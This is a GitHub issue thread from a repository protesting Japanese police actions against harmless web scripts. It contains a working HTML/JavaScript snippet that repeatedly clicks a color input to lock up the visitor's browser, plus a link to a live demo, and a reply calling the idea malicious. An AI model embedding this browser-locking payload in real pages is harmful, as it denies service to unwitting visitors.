hamukazu / lets-get-arrested

This project is intended to protest against the police in Japan
4.14k stars 1.09k forks source link

Get arrested with <input type="color"> #151

Closed x-hgg-x closed 5 years ago

x-hgg-x commented 5 years ago

The following script spam the color choosing box, and unlike the alert box, it can really lock your browser (tested on Chrome/Firefox on Windows and on Chrome on Ubuntu).

<input type="color" id="elem">
<script>
  async function f() {
    while (1) {
      document.getElementById('elem').click();
      await new Promise(resolve => setTimeout(resolve, 1));
    }
  }
  f();
</script>

See example on https://output.jsbin.com/lefonuz.

twnlink commented 5 years ago

That would be malicious and irresponsible. I highly disagree with this.